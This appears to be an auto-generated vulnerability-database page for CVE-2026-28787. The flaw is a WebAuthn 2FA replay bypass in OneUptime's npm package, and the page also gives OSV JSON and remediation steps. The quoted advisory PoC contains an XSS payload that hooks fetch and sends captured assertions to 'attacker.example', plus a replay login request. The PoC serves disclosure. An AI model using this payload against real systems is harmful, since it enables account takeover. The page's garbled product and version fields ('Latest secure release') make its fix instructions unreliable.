CVE-2026-28787: OneUptime has WebAuthn 2FA bypass Server Accepts Client-supplied Challenge Instead Vulnerability

HIGH
Advisory Identifier: GHSA-gjjc-pcwp-c74m
CVSS 8.2
CWE-287 CWE-294
Published
Advisory Summary

CVE-2026-28787 is a HIGH (CVSS 8.2) server accepts client-supplied challenge instead vulnerability (CWE-287: Improper Authentication) affecting OneUptime has WebAuthn 2FA bypass libraries in the npm ecosystem. The issue involves server accepts client-supplied challenge instead of server-stored value, allowing credential replay. Remediation is available in the latest vendor maintenance releases.

CVE-2026-28787 at a Glance

CVE Identifier CVE-2026-28787
GHSA Identifier GHSA-gjjc-pcwp-c74m
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-287: Improper Authentication
Affected Product OneUptime has WebAuthn 2FA bypass
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-28787

To remediate this vulnerability, upgrade all affected OneUptime has WebAuthn 2FA bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@oneuptime/common fixed: Latest secure release
npm install @oneuptime/common@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @oneuptime/common

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-28787, inspect your project dependencies using npm:

npm ls @oneuptime/common

Analyze the terminal output to locate any version of OneUptime has WebAuthn 2FA bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @oneuptime/common command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In OneUptime has WebAuthn 2FA bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification ([W3C Web Authentication Level 2, §13.4.3](https://www.w3.org/TR/webauthn-2/#sctn-cryptographic-challenges)) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication. ### Details During WebAuthn authentication, the server generates a random challenge via `generateAuthenticationOptions()` in `Common/Server/Services/UserWebAuthnService.ts` (line 164-221). However, the challenge is **only returned to the client** and **never stored in a session or database** on the server side. When the client submits the authentication response, the server reads the `expectedChallenge` directly from the untrusted request body (`Authentication.ts:1042`): ```typescript // App/FeatureSet/Identity/API/Authentication.ts:1041-1049 } else if (verifyWebAuthn) { const expectedChallenge: string = data["challenge"] as string; // ← client-controlled const credential: any = data["credential"]; await UserWebAuthnService.verifyAuthentication({ userId: alreadySavedUser.id!.toString(), challenge: expectedChallenge, // ← NOT a server-stored value credential: credential, }); } ``` The `verifyAuthentication()` method then passes this client-provided challenge to `@simplewebauthn/server`'s `verifyAuthenticationResponse()` as `expectedChallenge` (`UserWebAuthnService.ts:268-270`): ```typescript const verification: any = await verifyAuthenticationResponse({ response: data.credential, expectedChallenge: data.challenge, // ← client-controlled value used as "expected" expectedOrigin: expectedOrigin, expectedRPID: Host.toString(), credential: { /* public key from DB */ }, }); ``` Since both the `expectedChallenge` (from request body) and the challenge embedded in the credential's `clientDataJSON` originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator. **Correct flow vs. OneUptime's flow:** | Step | Correct WebAuthn | OneUptime | |------|-----------------|-----------| | 1. Generate challenge | Server generates random challenge | Same | | 2. Store challenge | **Saved in session/DB** | **Not saved anywhere** | | 3. Send to client | Sent to client | Same | | 4. Authenticator signs | Authenticator signs challenge | Same | | 5. Client returns | Returns signed credential | Returns credential **+ challenge** | | 6. Verify | Compares against **server-stored** value | Compares against **client-provided** value | | Result | Replay-proof | **Replayable** | ### PoC **Prerequisites:** - An attacker has obtained the victim's password (e.g., credential stuffing, phishing) - An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage) **Steps to reproduce:** 1. **Capture a valid WebAuthn assertion.** Intercept or extract a legitimate authentication request containing `challenge` and `credential` fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability): ```javascript // XSS payload to intercept WebAuthn authentication const origFetch = window.fetch; window.fetch = async function(url, opts) { if (url.includes('/verify') && opts?.body) { const body = JSON.parse(opts.body); if (body.data?.credential) { // Exfiltrate the assertion navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({ challenge: body.data.challenge, credential: body.data.credential })); } } return origFetch.apply(this, arguments); }; ``` 2. **Replay the captured assertion at any later time.** Send the following request with the victim's email, password, and the captured challenge + credential: ```http POST /api/identity/authentication/login HTTP/1.1 Content-Type: application/json { "data": { "email": "victim@example.com", "password": "<victim's password>", "challenge": "<captured challenge value>", "credential": { "id": "<captured credential id>", "rawId": "<captured rawId>", "response": { "authenticatorData": "<captured authenticatorData>", "clientDataJSON": "<captured clientDataJSON>", "signature": "<captured signature>" }, "type": "public-key", "clientExtensionResults": {}, "authenticatorAttachment": "platform" } } } ``` 3. **Result:** The server accepts the authentication. The `expectedChallenge` (from the request body) matches the challenge in `clientDataJSON` (from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account. The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device. ### Impact **WebAuthn 2FA is rendered ineffective.** The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate. **Who is impacted:** Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange. **Attack chain potential:** This vulnerability can be chained with: - Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions - Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing - User enumeration via differential error messages to identify valid targets

CVE-2026-28787 Affected OneUptime has WebAuthn 2FA bypass Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@oneuptime/common
npm
≤ 10.0.11

References

Frequently Asked Questions

What is CVE-2026-28787?
CVE-2026-28787 is a security vulnerability in OneUptime has WebAuthn 2FA bypass involving server accepts client-supplied challenge instead of server-stored value, allowing credential replay under CWE-287: Improper Authentication.
Which OneUptime has WebAuthn 2FA bypass versions are affected?
Affected versions include releases prior to current release patches across affected packages: @oneuptime/common.
What version fixes CVE-2026-28787?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @oneuptime/common affected?
Yes, @oneuptime/common is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-28787?
CVE-2026-28787 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-28787?
CVE-2026-28787 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check npm dependencies for CVE-2026-28787?
Run the dependency tree command: 'npm ls @oneuptime/common'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gjjc-pcwp-c74m",
  "modified" : "2026-03-06T15:16:15Z",
  "published" : "2026-03-02T21:40:54Z",
  "aliases" : [ "CVE-2026-28787" ],
  "summary" : "OneUptime has WebAuthn 2FA bypass: server accepts client-supplied challenge instead of server-stored value, allowing credential replay",
  "details" : "### Summary\n\nThe WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification ([W3C Web Authentication Level 2, §13.4.3](https://www.w3.org/TR/webauthn-2/#sctn-cryptographic-challenges)) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.\n\n### Details\n\nDuring WebAuthn authentication, the server generates a random challenge via `generateAuthenticationOptions()` in `Common/Server/Services/UserWebAuthnService.ts` (line 164-221). However, the challenge is **only returned to the client** and **never stored in a session or database** on the server side.\n\nWhen the client submits the authentication response, the server reads the `expectedChallenge` directly from the untrusted request body (`Authentication.ts:1042`):\n\n```typescript\n// App/FeatureSet/Identity/API/Authentication.ts:1041-1049\n} else if (verifyWebAuthn) {\n  const expectedChallenge: string = data[\"challenge\"] as string;  // ← client-controlled\n  const credential: any = data[\"credential\"];\n\n  await UserWebAuthnService.verifyAuthentication({\n    userId: alreadySavedUser.id!.toString(),\n    challenge: expectedChallenge,  // ← NOT a server-stored value\n    credential: credential,\n  });\n}\n```\n\nThe `verifyAuthentication()` method then passes this client-provided challenge to `@simplewebauthn/server`'s `verifyAuthenticationResponse()` as `expectedChallenge` (`UserWebAuthnService.ts:268-270`):\n\n```typescript\nconst verification: any = await verifyAuthenticationResponse({\n  response: data.credential,\n  expectedChallenge: data.challenge,  // ← client-controlled value used as \"expected\"\n  expectedOrigin: expectedOrigin,\n  expectedRPID: Host.toString(),\n  credential: { /* public key from DB */ },\n});\n```\n\nSince both the `expectedChallenge` (from request body) and the challenge embedded in the credential's `clientDataJSON` originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.\n\n**Correct flow vs. OneUptime's flow:**\n\n| Step | Correct WebAuthn | OneUptime |\n|------|-----------------|-----------|\n| 1. Generate challenge | Server generates random challenge | Same |\n| 2. Store challenge | **Saved in session/DB** | **Not saved anywhere** |\n| 3. Send to client | Sent to client | Same |\n| 4. Authenticator signs | Authenticator signs challenge | Same |\n| 5. Client returns | Returns signed credential | Returns credential **+ challenge** |\n| 6. Verify | Compares against **server-stored** value | Compares against **client-provided** value |\n| Result | Replay-proof | **Replayable** |\n\n### PoC\n\n**Prerequisites:**\n- An attacker has obtained the victim's password (e.g., credential stuffing, phishing)\n- An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)\n\n**Steps to reproduce:**\n\n1. **Capture a valid WebAuthn assertion.**\n   Intercept or extract a legitimate authentication request containing `challenge` and `credential` fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):\n\n   ```javascript\n   // XSS payload to intercept WebAuthn authentication\n   const origFetch = window.fetch;\n   window.fetch = async function(url, opts) {\n     if (url.includes('/verify') && opts?.body) {\n       const body = JSON.parse(opts.body);\n       if (body.data?.credential) {\n         // Exfiltrate the assertion\n         navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({\n           challenge: body.data.challenge,\n           credential: body.data.credential\n         }));\n       }\n     }\n     return origFetch.apply(this, arguments);\n   };\n   ```\n\n2. **Replay the captured assertion at any later time.**\n   Send the following request with the victim's email, password, and the captured challenge + credential:\n\n   ```http\n   POST /api/identity/authentication/login HTTP/1.1\n   Content-Type: application/json\n\n   {\n     \"data\": {\n       \"email\": \"victim@example.com\",\n       \"password\": \"<victim's password>\",\n       \"challenge\": \"<captured challenge value>\",\n       \"credential\": {\n         \"id\": \"<captured credential id>\",\n         \"rawId\": \"<captured rawId>\",\n         \"response\": {\n           \"authenticatorData\": \"<captured authenticatorData>\",\n           \"clientDataJSON\": \"<captured clientDataJSON>\",\n           \"signature\": \"<captured signature>\"\n         },\n         \"type\": \"public-key\",\n         \"clientExtensionResults\": {},\n         \"authenticatorAttachment\": \"platform\"\n       }\n     }\n   }\n   ```\n\n3. **Result:** The server accepts the authentication. The `expectedChallenge` (from the request body) matches the challenge in `clientDataJSON` (from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.\n\n   The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.\n\n### Impact\n\n**WebAuthn 2FA is rendered ineffective.** The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate.\n\n**Who is impacted:** Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.\n\n**Attack chain potential:** This vulnerability can be chained with:\n- Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions\n- Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing\n- User enumeration via differential error messages to identify valid targets",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@oneuptime/common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "10.0.11"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-gjjc-pcwp-c74m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28787"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OneUptime/oneuptime"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-294" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-02T21:40:54Z",
    "nvd_published_at" : "2026-03-06T05:16:39Z"
  }
}